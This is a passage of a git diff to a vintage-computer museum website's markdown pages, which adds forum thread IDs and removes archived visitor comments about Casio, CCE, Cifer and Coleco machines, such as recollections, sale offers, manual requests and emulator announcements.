80''s and have it still with the disk drive MD-100. And still working!\ - One of the best calculators ever made! :) - - author: ElCrack! (Ecuador) - date: Saturday 2nd November 2013 - text: I really fell in love with my PB-1000. Bought it some time in the early 80''s. Used it all the time in university. Wrote countless programs on it for different purposes all the way from mathematics, physics, engineering and digital communications, to games, word processing and graphics. Still works! - - author: Fermin (Houston USA) - date: Thursday 10th May 2012 - text: This was my first real Computer acquired at high school in 1989- 1995. served Extremelly well during university. Learned numerical methods with it, did Vectors and matrix programs that only can be done using a PC at its time. Still keep it but in a storage overseas. - - author: Luis A. Molina (Ecuador) - date: Thursday 12th January 2012 - text: Bought one ca. 1987, used it through 1992. Helped me get through University, used it to solve fifth degree equations, generate tables, solve defined integrals, as a notepad, icebreaker with girls and after finishing formal schooling as an alarm clock. Died on me the day I graduated as a MSC. I''ve had a good 20 or so computers, handhelds, iPads, etc. since 1981, this has been the most admired and most useful machine I''ve ever possessed! - - author: Terry (Qatar) - date: Wednesday 17th August 2011 - text: |- - Had one of these in the UK. Printer and Disk Drive Unit. Used to cart it round in jacket pocket on construction site. Log instructions and comments as simple notes. Interface to PC was written via cable. Then used PC to produce the letters from the notes. - - Designed multi-storey buildings with 2D frame programme on the machine. - - Used to do little coloured ghant charts for construction programs for segments of work to allow people on site to follow. - - Touch screen for input. - - Years and years ahead of IPad. It just didn''t have the phone and colour graphics on screen. Could print four colours with the little pens. Fantastic bit of kit well ahead of its time. - - Was always amused it was Japanese but assembly and basic language where English. - - Lasted for years. - - Cheers - - author: Terry (Qatar) - date: Wednesday 17th August 2011 - text: |- - Had one of these in the UK. Printer and Disk Drive Unit. Used to cart it round in jacket pocket on construction site. Log instructions and comments as simple notes. Interface to PC was written via cable. Then used PC to produce the letters from the notes. - - Designed multi-storey buildings with 2D frame programme on the machine. - - Used to do little coloured ghant charts for construction programs for segments of work to allow people on site to follow. - - Touch screen for input. - - Years and years ahead of IPad. It just didn''t have the phone and colour graphics on screen. Could print four colours with the little pens. Fantastic bit of kit well ahead of its time. - - Was always amused it was Japanese but assembly and basic language where English. - - Lasted for years. - - Cheers - - author: Nathan Var (USA) - date: Thursday 28th April 2011 - text: I am interested in purchasing a FA-7 extension. Please contact me at cfhsnathan@gmail.com. - - author: Christian (USA) - date: Sunday 16th January 2011 - text: Titis, they meant to send it through the mail. Not actually having you, and the machine travel there. Just send it to a specialty shop in Japan, and have it sent back. Simple - - author: Titis Asih (INDONESIA) - date: Friday 7th May 2010 - text: |- - I had PB 1000 Casio, and it wasnt work many years. I dont know how to repair it, bcoz the manula book is lost, and many enginner cant repair it. They told me i hv to send it to Japan...hhmmm...too far and much money to go there. - - Is there someone could help me, how mine will be work again? - - author: carmen de juan - date: Tuesday 3rd June 2008 - text: I own a Casio PB-1000. Once the batteries get bad and it didn',t work for a lon time. Now ten years after my son found it, put new batteries and it works. The problen is that I don't kown where is the manual. I have moved several times and problably I won't be able to find it. Will some one help me to find the manual in the internet. I've found it but it is in German. - - author: Juergen Leibner (Germany) - date: Sunday 13rd August 2006 - text: |- - I own a Casio PB-1000 and an FA-7 Interface extension. Also every origin documentation is available.\ - I used it from 1986 to 1996 for programming for school purposes.\ - If someone needs information about it feel free to mail me. oc_id: 1139 source: url: https://web.archive.org/web/20230608154227/http://www.old-computers.com/museum/computer.asp?c=1139 diff --git a/content/museum/casio-pb-300.md b/content/museum/casio-pb-300.md index 206bf6a7..86ac244a 100644 --- a/content/museum/casio-pb-300.md +++ b/content/museum/casio-pb-300.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 988 photos: - title: FRONT PANEL subtitle: '' @@ -77,32 +78,6 @@ params: - title: The Pocket Computer Museum url: http://pocket.free.fr/ text: The site to visit for pockets computers ! - comments: - - author: Dylan (USA) - date: Saturday 16th March 2013 - text: I want a Casio PB-300. My uncle had one and I broke it as a kid. I want to surprise him! I can pay about $50 or so. Write to me at 4dylansmart at Google dot com - - author: freddy (us) - date: Sunday 23rd September 2012 - text: i have two for sale, one turns on, one doesnt - - author: Carl (United States) - date: Tuesday 18th September 2012 - text: I would like to buy a Casio PB-300 so I can sit at home and remember the early days. Anybody have one I can buy? - - author: Harry Caswell - date: Monday 15th November 2010 - text: |- - I have a Casio PB-300 in the closet with manual,\ - would any one be interested in making an offer? - - author: Fröbrich (Germany) - date: Wednesday 21st July 2010 - text: I have a german user manual. It''s called "Casio PB-300 PROGRAMMIEREN LEICHT GEMACHT". But it is about 300 pages and not scanned. I am able to scann you a few pages, but not all. - - author: A, brown (scotland) - date: Saturday 24th April 2010 - text: I HAVE A PB-300 BUT NO INSTRUCTIONS CAN ANYONE HELP. - - author: Allan Chinchilla (Cuernavaca, Mexico) - date: Sunday 18th April 2010 - text: |- - I have a PB300, will be possible to get a user manual?\ - Thanks. Allan related: - /museum/casio-fx-700p - /museum/casio-fx-702p diff --git a/content/museum/casio-pb-700.md b/content/museum/casio-pb-700.md index aa1d6137..277b3f24 100644 --- a/content/museum/casio-pb-700.md +++ b/content/museum/casio-pb-700.md @@ -62,6 +62,7 @@ params: - hardware - links - docs + forum_thread: 468 photos: - title: PB-700 subtitle: '' @@ -100,46 +101,6 @@ params:  source : [www.usersmanualguide.com](http://www.usersmanualguide.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: JONATHAN (Scotland) - date: Wednesday 9th November 2016 - text: HI guys I am a practicing engineer in the Oil Industry and still use my PB700 daily I bought it in 1983 C/W the interface and 3 colour plotter at the time it was the top machine and made HP41 etc look like a museum piece. I have the 3 memory expansion modules and generated a lot of programs for it I must be one of the last guys to be still using this - what a machine! - - author: Nilson (Brasil) - date: Sunday 18th September 2011 - text: |- - Hi guys.\ - I have a full-operative CASIO PB700 the original manuals and want to sell them.\ - Please contact me without problems!\ - nilson@njsouza.eng.br\ - Att Nilson - - author: EPROM 9 (England$) - date: Thursday 30th September 2010 - text: 'Some information I have obtained from restoring one I got on ebay: The PB-700 like all personal computers of the time was mainly dedicated to programming. BASIC allowed the user to program some useful and entertaining software. The lack of an internal non-volatile memory is a disadvantage when it comes to battery replacement but a small button cell battery keeps the RAM alive in these changes, you could also get docking bays with tape storage. While graph and graphic compatible, using these functions is hard for a beginner in BASIC as it all has to be PROGRAMMED using the BASIC code. The computer is very fast for its age running on 12KB (my model). When the battery''''s are low the pixeo speaker will quieten or the LCD will go blank and/or flicker. The machine came out in 1983 and I think discontinued in 1984. Its an interesting computer that is quite rare although my Toshiba T2200SX and RM NB300 machines are probably rarer due to lake of information on the web. The RM NB300 has - practically no information on it, only one site with a brief description hidden in Googlies deepest and darkest archives. I hope this information helps.' - - author: EPROM 9 (England$) - date: Monday 27th September 2010 - text: The PB-700 manual is on this site, click the link. http://www.usersmanualguide.com/casio/calculators/pb-700 - - author: Alberto (Italy) - date: Monday 28th June 2010 - text: |- - Hi guys.\ - I have a full-operative CASIO PB700 and the printer FA11 never used with all the original manuals and box and want to sell them.\ - Please contact me without problems!\ - t.albi@alice.it\ - Alberto - - author: Saipanteri (Nevada) - date: Saturday 29th May 2010 - text: I just got a fully functioning Casio PB 700 in mint condition including the 3 extra ram cards. I don''t have the manual, but I downloaded one. It is fun to tinker with. I am sure that it would mean a lot to someone else, but I like playing with it. - - author: Claudio Nordio (Santiago, Chile, S.A.) - date: Sunday 25th July 2004 - text: I have a full-operative PB 700, with three 4 kb extension memories. I use it in my job and I have the manual (in Spanish). If you ask me, I can respond questions about it, in English. - - author: Andrew Ellison-Smith (Melbourne, Australia) - date: Thursday 30th January 2003 - text: |- - Does anyone have the pinouts for the comport\ - of the pb700? i'd like to make a cable/comms device.\ - if so, please email me.\ - thanks related: - /museum/casio-pb-770 oc_id: 474 diff --git a/content/museum/casio-pb-770.md b/content/museum/casio-pb-770.md index 3fece79a..46e1c2ae 100644 --- a/content/museum/casio-pb-770.md +++ b/content/museum/casio-pb-770.md @@ -55,6 +55,7 @@ params: tabs: - hardware - links + forum_thread: 369 hardware: - title: FA 10 subtitle: Plotter and tape interface @@ -68,29 +69,6 @@ params: - title: Silrun Systems - The home of programmable Casio pocket calculators url: http://www.silrun.de/ text: German and English zipped manuals - comments: - - author: $_$ (Panamá) - date: Monday 11th November 2019 - text: has a full manual of the casio pb-770 - - author: Alberto (Italy) - date: Monday 28th June 2010 - text: Hi guys. I have a full-operative CASIO PB770 and the printer FA11 never used with all the original manuals and box and want to sell them. Please contact me without problems! t.albi@alice.it Alberto - - author: Andy Sierra (Colombia) - date: Thursday 29th October 2009 - text: I have a Casio PB 700 with all accesories for sale! - - author: Miji Tico (Atlanta, GA) - date: Monday 11th October 2004 - text: Try this http://www.silrun.de/casio/pb700/pb700.htm - - author: John Dohle (Garnwerd) - date: Wednesday 13rd August 2003 - text: |- - I am looking for a manual of the Casio pb-770. Who can help me?\ - Thanks a lot. - - author: santos (Strasbourg) - date: Sunday 24th November 2002 - text: |- - can someone tell me something about how to get a standard manual (user guide or something like this) of the pb-770 casio personal computer?\ - thanks, related: - /museum/casio-pb-700 oc_id: 368 diff --git a/content/museum/casio-pv-1000.md b/content/museum/casio-pv-1000.md index df0b6820..edf90e3f 100644 --- a/content/museum/casio-pv-1000.md +++ b/content/museum/casio-pv-1000.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 830 photos: - title: PV-1000 subtitle: '' @@ -118,22 +119,6 @@ params: - title: Henri's Home Page url: http://www2.odn.ne.jp/~haf09260/Pv1000/EnrPV1.htm text: Détailed technical info about the PV-1000 (Japanese) - comments: - - author: Nash - date: Friday 8th December 2017 - text: The design of the console is pretty ahead of it''s time. I feel like this could have easily come out 10 years later and looked fresh. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help - - author: carlos (barcelona) - date: Tuesday 18th July 2006 - text: uh.... a casio console, what surprise it's diicult to purchase it? - - author: Alex M. (Seattle, WA) - date: Saturday 4th February 2006 - text: MY knowledge regarding this system is by no means complete, but it IS related to the MSX. In fact the internals are quite similar to the colecovision, which of course is quite similar to MSX computers. However it has been tweaked around a bit, so it (theortecially) performs better oc_id: 849 source: url: https://web.archive.org/web/20230616113917/http://www.old-computers.com/museum/computer.asp?c=849 diff --git a/content/museum/casio-pv-16.md b/content/museum/casio-pv-16.md index bc02fa1b..f5e1d951 100644 --- a/content/museum/casio-pv-16.md +++ b/content/museum/casio-pv-16.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 839 photos: - title: PV-16 subtitle: '' @@ -213,16 +214,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: jc - date: Sunday 4th August 2013 - text: What do this about MSX? RETARD - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/casio-pv-2000.md b/content/museum/casio-pv-2000.md index 4f67c14a..9ca3c422 100644 --- a/content/museum/casio-pv-2000.md +++ b/content/museum/casio-pv-2000.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 1137 photos: - title: CASIO PV-2000 subtitle: '' @@ -157,16 +158,6 @@ params: - title: GameHistoryBook Nostalgia url: http://www.game-nostalgia.net/pv/pv1000.htm text: Japanese page dedicated to the PV-x000 systems with small pictures of cartridges - comments: - - author: ledudu (France) - date: Tuesday 14th December 2010 - text: |- - Hi,\ - There is a special tape device for this machine.\ - It is called CASIO FA-30\ - The photo can be found here :\ - http://www.ledudu.com/images/sili/fa30.jpg\ - Regards oc_id: 1167 source: url: https://web.archive.org/web/20230606130109/http://www.old-computers.com/museum/computer.asp?c=1167 diff --git a/content/museum/casio-pv-7.md b/content/museum/casio-pv-7.md index bab13deb..c441cb11 100644 --- a/content/museum/casio-pv-7.md +++ b/content/museum/casio-pv-7.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 567 photos: - title: PV-7 subtitle: '' diff --git a/content/museum/cce-mc-1000.md b/content/museum/cce-mc-1000.md index 1297c501..4ee8d0ef 100644 --- a/content/museum/cce-mc-1000.md +++ b/content/museum/cce-mc-1000.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 336 photos: - title: MC-1000 COLOR COMPUTER subtitle: '' @@ -142,43 +143,6 @@ params:  compiled/archived by Leonardo R. da Rosa ?\  type of document : PDF\  source : [www.datacassete.com.br](http://www.datacassete.com.br/) - comments: - - author: Cláudio Sampaio (Brazil) - date: Tuesday 13rd October 2020 - text: The date is wrong, it was released before 1985. I was gifted that computer in my 11th birthday, which was in november 1984. - - author: Claudio H. Picolo - date: Saturday 3rd August 2013 - text: |- - Perhaps Rabbid RX-83 was a prototype project that Rabbid Computer bought from Samsung, but by contract they were unable to sale it on Asia, reason why they shown it on a fair on USA. VDI/GEM was about to make a partnership with Rabbid to produce in Hong Kong to sell it in Belgium in 1984, but CCE possibly appeared with a better offer and bought the entire project to sell it totally remodelled as MC-1000.\ - OK... We have no proof that it occurred this way, but is a very good theory.\ - Why?\ - The dates match, no one knows ANY RX-83 or GEM-1000/Charlemagne user or even exist a ROM dump of these machines anywhere.\ - Only the MC-1000 have good documentation, a software library and groups of users, even with all vaporware. - - author: Aldrox (Brazil) - date: Tuesday 4th December 2012 - text: |- - I have one of these computers. I was gifted it in 1986. It is still operational and inside its original packaging. It is quite a bizarre computer, indeed. It is for sale... anyone interested? - - Thx. - - author: Emerson José Silveira da Costa (Belém - PA - Brazil) - date: Monday 5th September 2011 - text: |- - Having seen screenshots from a SPC-1000 emulator, it''s not likely that MC-1000 is based on it. The screenshots show that the video processor (MC6847) is wired in a much more complex way in SPC-1000. It uses an external ROM for lower case, some Korean, Chinese, Greek, block drawing $ miscellaneous characters. It mixes MC6847''s alphanumeric and semigraphic modes so that you can have different text colors and coloured block characters in the same screen. In MC-1000 we have only MC6847''s 64 built-in characters, and the video modes are accessed separately. - - MC-1000''s BASIC is based on Applesoft Basic (from Apple II)$ SPC-1000 is based on Microsoft Basic. - - SPC-1000 has function keys. MC-1000 has none. - - Besides the sharing of the processor trio (Z80 + MC6847 + AY-3-8910), the machines seem pretty different to me. - - author: Todor DeOliveira (Brazil) - date: Thursday 18th August 2005 - text: This crazy machine wasn´t equipped with a ON/OFF switch or anything that would allow you to turn it on or off. This operation had to be done by pulling in or out the energy plug from the case, or the whole external PSU from the wall.... - - author: Ricardo Bittencourt (Brazil) - date: Tuesday 10th August 2004 - text: |- - I just released the first ever MC-1000 emulator.\ - Get it here:\ - http://www.700km.com.br/mundobizarro/brmc1000.php oc_id: 331 source: url: https://web.archive.org/web/20230328011755/http://www.old-computers.com/museum/computer.asp?c=331 diff --git a/content/museum/cce-supergame-vg-3000.md b/content/museum/cce-supergame-vg-3000.md index 53985b6e..5d0d010a 100644 --- a/content/museum/cce-supergame-vg-3000.md +++ b/content/museum/cce-supergame-vg-3000.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 1096 photos: - title: SUPERGAME VG 3000 subtitle: '' @@ -46,10 +47,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: William Paiva (Brasil) - date: Monday 11th August 2008 - text: 'Hello. About the DB9 conector: in this conector all types joystick are conected likes Atari 2600 classic. Important the DB9 conector is a 1player conector. If 2 peoples try controler the game with 1p console and joystick in DB9 conector both controling 1p game.' related: - /museum/coleco-gemini oc_id: 1126 diff --git a/content/museum/cdse-apply-300.md b/content/museum/cdse-apply-300.md index d2900c21..ee4e9ca8 100644 --- a/content/museum/cdse-apply-300.md +++ b/content/museum/cdse-apply-300.md @@ -51,6 +51,7 @@ params: tabs: - photos - adverts + forum_thread: 1288 photos: - title: APPLY 300 subtitle: '' diff --git a/content/museum/central-data-2650.md b/content/museum/central-data-2650.md index 8f410763..51fa49cd 100644 --- a/content/museum/central-data-2650.md +++ b/content/museum/central-data-2650.md @@ -55,6 +55,7 @@ params: - emulators - links - docs + forum_thread: 61 photos: - title: THE CENTRAL DATA 2650 COMPUTER SYSTEM subtitle: '' @@ -106,49 +107,6 @@ params:  size : 432 KB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Richard Rogers (Australila) - date: Wednesday 3rd December 2008 - text: |- - In 1977, I was interested in amateur radio and Morse code and wished to build a keyboard to transmit Morse. Designs I had seen seemed to use a lot of ICs and I thought that it would be better to use one of these new-fangled microprocessors which I could program to send Morse and also use for other things. - - Most microprocessor board designs seemed to require a separate terminal with even more ICs. However I remembered seeing a design in Radio-Electronics which combined the terminal and processor on the one board and should be cheaper to build. - - So I copied the three articles from the April - June issues and read them thoroughly. I did not have enough money to buy all the parts at once, but I ordered the bare circuit board in December 1977 and it took me a year and about $500 to obtain all the parts. Thirty years later I suppose that would be equivalent to about $5000, which seems a lot of money for a computer with 768 bytes of memory! At the time, I recall saying to a friend that I had spent the year building a money sink. - - Learning to program took a while and hand assembling with its need for counting relative offsets in hexadecimal led to me counting other things as . . . 8, 9, A, B, bugger . . . - - I took me until May 1979 before I first used the 2650 system to send Morse code, but alas, I found that using two hands and the large keyboard on the operating desk were inconveniences which led me to go back to my old keyer. - - But I found many other entertainments associated with the computer, building homebrew dynamic memory, NRZ recorder and floppy disk controller. - - I later used a Tandy Color Computer before succumbing to the PC. However I later started using PIC16C84s as I remembered having so much fun with assembler with the 2650. - - 73 VK7RO - - author: Greg Kilfoyle (San Jose/California $ Melbourne/Australia) - date: Tuesday 27th October 2020 - text: |- - I purchased the bare board and components as a kit from Rod Irving Electronics in Melbourne Australia, back in 1976/7 (from memory). - - I think the kit was $150. (I worked at Repco Exchange Engines factory for 2 weeks over the summer break to earn the money.) It also came fully assembled for much more money. The young chap (also a teenager) helping me said it wasn''t too hard to put together, hinting to buy the kit not the fully assembled. His boss pulled him aside and chastised him for that comment, wanting to get the higher price :) - - Anyway, it had a composite video out, cassette interface and header for ASCII keyboard. I had to purchase the bare keyboard, plus an ASCII keyboard circuit board. - - We had an old B/W valve/tube TV that regularly needed the TV repair man to come around and fix - usually just replacing the valves. I told him about my computer kit purchase and he $ped a couple of wires out the back for direct video input. - - I built the keyboard board and wired up the keyboard. Built the Central Data board with lots of 74xx TTL chips, RAM, caps and resistors. - - First time powering it up (don''t recall what I used for power, could have been a train-set power supply) nothing happened, no output to the display. Using the TV direct video input as a poor-man''s oscilloscope I found that one of the 7400 NAND gates was bad - it should have had a clock signal. There was a free gate on another part of the board so I cut some pins and added some jumper wires. Lo-and-behold, it booted up! - - Writing in hex assembler was, let''s say, fun. I didn''t care, this was so exciting for a teenager. Only about 700 bytes were available for programs with the rest of the 2K memory being the memory mapped display. In that 700 bytes I wrote a Space Invaders game. It was functional enough that I spent a lot of time playing it. Programs were saved to cassette. - - Threw all the bits in the dumpster when we moved to California in 1992. Wish I hadn''t now :( - - author: Peter Wotherspoon (Peterborough, Ontario Canada) - date: Thursday 4th January 2018 - text: I just bought the board, and injected the RF into the innerds of a TV, Got a keyboard, and got going with the machine code. I remember I stole display memory for program execution and took advantage of half bytes that were identical. I think it could automatically adapt to speed of the morse code, but I can''t remember if it was for receiving for transmitting... I''d like to get one again. Pitched it. - - author: James Jacobs (Canberra/Australia) - date: Monday 2nd February 2009 - text: The Ami/WinArcadia emulator is the only emulator of this machine. You can get it from http://amigan.classicgaming.gamespy.com oc_id: 45 source: url: https://web.archive.org/web/20230608214349/http://www.old-computers.com/museum/computer.asp?c=45 diff --git a/content/museum/cifer-systems-2683.md b/content/museum/cifer-systems-2683.md index b100e9b9..d71909fd 100644 --- a/content/museum/cifer-systems-2683.md +++ b/content/museum/cifer-systems-2683.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1034 photos: - title: LARGE VIEW subtitle: '' @@ -110,92 +111,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/cifer_2683_manuals_s1.jpg - comments: - - author: Sean Brackstone & Gerry Crisp (UK) - date: Tuesday 9th November 2004 - text: |- - Is there anyone out there who worked for Cifer??? - - Many years ago my randfather Gerry Crisp started Cifer with two friends and as the company grew they moved to new premises on Bowerhill Ind. Est. in Melksham Wilts where the company stayed untill it wnt bust. I would be interested to hear from you if you worked for Cifer and so would my grandfather. - - Many Thanks - - Sean Brackstone & Gerry Crisp - - author: Hans-Ulrich Frey (Switzerland) - date: Saturday 5th February 2011 - text: |- - We still use 3 units of Chifer 2683-04-LGB computers. They were modified by MONOTYPE Corporation to support their 272-System. With this system it is possible to make text-layouts and punch control-ribbons for hot-metal composition casters.\ - The Cifer 2683 computer is the weak part of the whole system. Recently we had to take apart 3 junk machines to repair our units. We always have problems with the display-section.\ - Is there anybody that could help with spares of these machines?\ - Hans\ - www.parnassia.org - - author: Rob Stuart (Manchester) - date: Tuesday 1st July 2008 - text: |- - We had hundreds of Cifer 2634's at the University of Manchester and UMIST back in the 80's. They wern't very reliable and it was my job to do the onsite repairs. This usually resulted in the machine being taken away as they were not too easy to fix. - - I seem to remember there were green and orange phosphor versions of the CRT. - - There was a guy at Cifer Systems in Melksham we used to deal with for sales. If his name comes up I will post it. I also seem to recall a technical guy who may have been called Don. - - We had hundreds of Newbury Data 7007 terminals as well. They were the 'special' versions with many pages of screen memory so you could scroll back and see what the previous user had been doing. The top used to fall off these VDU's leaving you holding the display while the keyboard and main board fell to earth. - - What fun......... - - author: Martin Ford (United Kingdom) - date: Thursday 7th September 2017 - text: Would it be the same Gerry crisp who was sales manager at Mode in value if so he would remember me!! - - author: Scott Parker (United Kingdom) - date: Saturday 7th March 2015 - text: I worked at Cifer until they went bust. I am trying to track my pension contributions. Any ideas? - - author: Stephen - date: Saturday 24th January 2015 - text: I''ve just found one of these in amongst a load of rubbish complete with 8 inch disk drive!!!. I''t''s still got a few issues, such as the fact it trips the mains from time to time and the keyboard is unresponsive as yet, but I''ve got the massive disk drive up and running again and hope to fix the other parts with some advice. I have videos of the restoration on my YouTube channel, RetroGamerVX - - author: Phil Gregory (UK) - date: Friday 28th November 2014 - text: I worked in the test department in Melksham during my gap 2 years between School and Uni from 1980-82. We used to take each machine from production and test it which quite often involved explosions, electric shocks and fires! Faulty boards were fixed at a component level. our particular hatred was getting the picture square using rubber magnets and the picture in sharp focus! There were huge varieties of colours and key tops as each order was entirely custom made. There were white / green / orange phosphors and the orange were very soft focus. I forget the model number but there was a small screen all in one box machine with built in 5.25" floppies and eventually Winchester hard drives that was really neat. They also were the first company to port Unix to a 68000 and my Uni personal tutor worked with them to do this. This was reported in an issue of Computing magazine. I had a great time with a great bunch of guys and learnt to program there which has been my career for the last - 30 years! - - author: Phil Gregory (UK) - date: Friday 28th November 2014 - text: I worked in the test department in Melksham during my gap 2 years between School and Uni from 1980-82. We used to take each machine from production and test it which quite often involved explosions, electric shocks and fires! Faulty boards were fixed at a component level. our particular hatred was getting the picture square using rubber magnets and the picture in sharp focus! There were huge varieties of colours and key tops as each order was entirely custom made. There were white / green / orange phosphors and the orange were very soft focus. I forget the model number but there was a small screen all in one box machine with built in 5.25" floppies and eventually Winchester hard drives that was really neat. They also were the first company to port Unix to a 68000 and my Uni personal tutor worked with them to do this. This was reported in an issue of Computing magazine. I had a great time with a great bunch of guys and learnt to program there which has been my career for the last - 30 years! - - author: Donna Oaten (was Mason) (Trowbridge) - date: Wednesday 29th January 2014 - text: Just remembered the name of the young chap in the drawing office with me. It was Steve Pittard. Also recall Christine York from the Reception area and Dana/Daina from Reception. Would love some information regarding these people. - - author: Donna Oaten (was Mason) (England) - date: Wednesday 29th January 2014 - text: I worked at Cifer Systems until 1981 when I left to have my son, but continued to work from home for the company. I remember your grandfather. I worked as assistant to the Production Manager but unfortunately can''t recall his name, (Tony) he lived in Seend with his wife Val, who also worked at the company. I recall John Woolnough who was in charge of the girls/boys who produced the PCB''s. I worked in the design office and used to draw up the schematics. I remember working with the late Harry Harman and a young guy (then) called Steve (can''t recall his surname but it was quite unusual) - - author: Paul Wright (Truro) - date: Wednesday 24th August 2011 - text: Hi there!. Haven''t seen one of these for nearly 30 years! I used to work in the ''customisation'' department modifying the firmware to suite customer requirements. Didn''t have anything to do with the hardware side - sorry. Left in 1984 I think, have fond memories of the Z80 and CP/M with orange phosphor screens. - - author: John G. Burns (UK) - date: Monday 4th April 2011 - text: The Royal Observer Corps used these as terminals for our MSX message switch system. We probably had half a dozen in our bunker. There were custom big red and green buttons for send and receive (or cancel?) in the top right of the kb. - - author: Mark Bennett (Kent) - date: Wednesday 16th June 2010 - text: |- - Hi there! - - I am VERY interested to contact anyone with Cifer Terminals (of any type) for the restoration of Home Office (c.1984) Message Exchange Switches (MSX-T and MSX-B). We have now located the last remainng original Home Office (F6) MSX equipment racks and are seeking to located CIFER Terminals (VDUs) and Technical knowledge / support on the few examples we already have. These units are to support the MSX''s we are restoring to full working condition in various museums in the UK. This work is non-profit and conducted entirely by enthusiasts. Can you help? Please! - - author: Jorge Iribarren (Chile) - date: Tuesday 29th April 2008 - text: |- - Soy responsable del Departamento de Informatica de la Agencia UPI en Chile. Hasta el año 1999 se utilizó CIFER como sistema informatico para la entrega de noticias a nuestros clientes locales. Estas maquinas funcionaban bien, aunque el trato de las mismas no era el adecuado. Por ello estan un poco deterioradas. Nos quedaremos con sólo una de ellas. Por lo tanto me gustaria poder saber si les interesa la donacion de la que nos sobra. Necesita mantenimiento y restauracion. - - Sinceramente creo que es una maravilla que funcionaran hasta ese año. Sobre todo porque significaba un adelanto tecnico para la epoca del fax y los teletipos. - - Un abrazo, felicitaciónes por la iniciativa del Museo. - - Atte, - - Jorge Iribarren E.\ - jiribarren@upi.com\ - Santiago, Chile - - author: Mark Bennett (Kent) - date: Wednesday 2nd August 2006 - text: |- - Hi, I am a researcher working to recreate a MSX system that used CIFER 2634 terminals. I am looking to contact anyone who could help with maintenance of the CIFER 26xx series and most importantly \*locate examples\* of 2634's for a historical restoration of national importance taking place with English Heritage, Acomb, York. We desparately need 2634's and TREND 800 Teleprinters. - - DO help if you can! oc_id: 1061 source: url: https://web.archive.org/web/20230605030810/http://www.old-computers.com/museum/computer.asp?c=1061 diff --git a/content/museum/codimex-6809.md b/content/museum/codimex-6809.md index 0db0138e..5953eb73 100644 --- a/content/museum/codimex-6809.md +++ b/content/museum/codimex-6809.md @@ -52,10 +52,7 @@ params: value: OS/9, Flex - label: PERIPHERALS value: 5.25'' disk-drives (163 Kb) - comments: - - author: Daniel Campos (Brazil) - date: Wednesday 18th March 2015 - text: https://picasaweb.google.com/109345699838454178536/OsCodimex + forum_thread: 528 oc_id: 534 source: url: https://web.archive.org/web/20230320094854/http://www.old-computers.com/museum/computer.asp?c=534 diff --git a/content/museum/coleco-adam.md b/content/museum/coleco-adam.md index 841ea0c0..46716eed 100644 --- a/content/museum/coleco-adam.md +++ b/content/museum/coleco-adam.md @@ -76,6 +76,7 @@ params: - software - links - docs + forum_thread: 73 photos: - title: COMPLETE UNIT subtitle: '' @@ -248,151 +249,6 @@ params:  compiled/archived by Joe Blenkle\  type of document : HTML\  source : [Adam Family Computer System](http://www.sacnews.net/adamcomputer/) - comments: - - author: James Tamer (Greater Pasadena California USA) - date: Thursday 2nd March 2006 - text: |- - Most hyped home computer ever, oh my. The folks who brought you the Cabbage Patch Kids were now bringing you... a useful home computer system! One big box held everything. The big selling point was that it came with a printer -- and the whole shebang would cost $600 -- this at a time when printers alone were more expensive than that. Much more. Especially daisy wheel "full letter quality" printers. Yike.\ - Okay. Well, the price changed to $700 by the time it was released... and the complaints rolled in. The first complaint was that the printer was of low quality and not durable. After a little while, it would start printing letters on a slant. Wow. So, you had to send the printer in for a repair... and in the meantime, you couldn't use your computer system because the power supply was in the printer! Sucked! Also, the system box would give off a nice big magnetic pulse when it was powered up, so if you happened to have your BASIC tape in the drive or sitting on top of the console, it might get corrupted. Sucked! Oh well. There were a few games that came out for the Adam, and you could buy blank tapes too, and it'd play colecovision cartridges. Eventually a disk drive was introduced... but by then it was too late. The home computer format war had split into Commodore 64 / Apple IIe / Atari 800XL. Your local retailer wasn't interested in giving over shelf space to anything else (well, until the Atari ST and Amiga 1000 arrived, and plenty of retailers ignored those two). - - author: Marat Fayzullin (USA) - date: Wednesday 24th June 2020 - text: |- - Hello, All! - - I''ve just released the free ColEm 5.1 for Windows and Linux, with the source code for those interested in porting ColEm to other platforms: - - http://fms.komkon.org/ColEm/ $ homepage\ - http://fms.komkon.org/ColEm/ColEm51-Windows-bin.zip $ free Windows version\ - http://fms.komkon.org/ColEm/ColEm51-Ubuntu-x86-bin.tgz $ free Linux version\ - http://fms.komkon.org/ColEm/ColEm51-Source.zip $ portable source code - - This release adds configurable global color palette (via ColEm.pal file) and fixes state saving, loading, and rewind for Adam software. I have also added support for more Adam-specific keys. Please note that since Coleco Adam emulation is very new, it may have bugs. If you encounter any problems, or any Adam software that does not run, please, report it here: - - https://groups.google.com/forum/$!forum/emul8 - - ALL CHANGES:\ - \* Added Coleco Adam state saving, loading, and rewinding.\ - \* Added support for more Coleco Adam keys (see documentation).\ - \* Disabled loading disks or tapes with no Adam firmware ROMs.\ - \* Added support for default palette file named ColEm.pal.\ - \* Now able to supply .PAL filename to -palette parameter.\ - \* Changing palette in Windows no longer resets emulation. - - Enjoy! - - author: Garage Research (USA) - date: Monday 8th June 2020 - text: |- - I''ve just released the free ColEm 5.0 for Windows and Linux, with the source code for those interested in porting ColEm to other platforms: - - http://fms.komkon.org/ColEm/ $ homepage\ - http://fms.komkon.org/ColEm/ColEm50-Windows-bin.zip $ free Windows version\ - http://fms.komkon.org/ColEm/ColEm50-Ubuntu-x86-bin.tgz $ free Linux 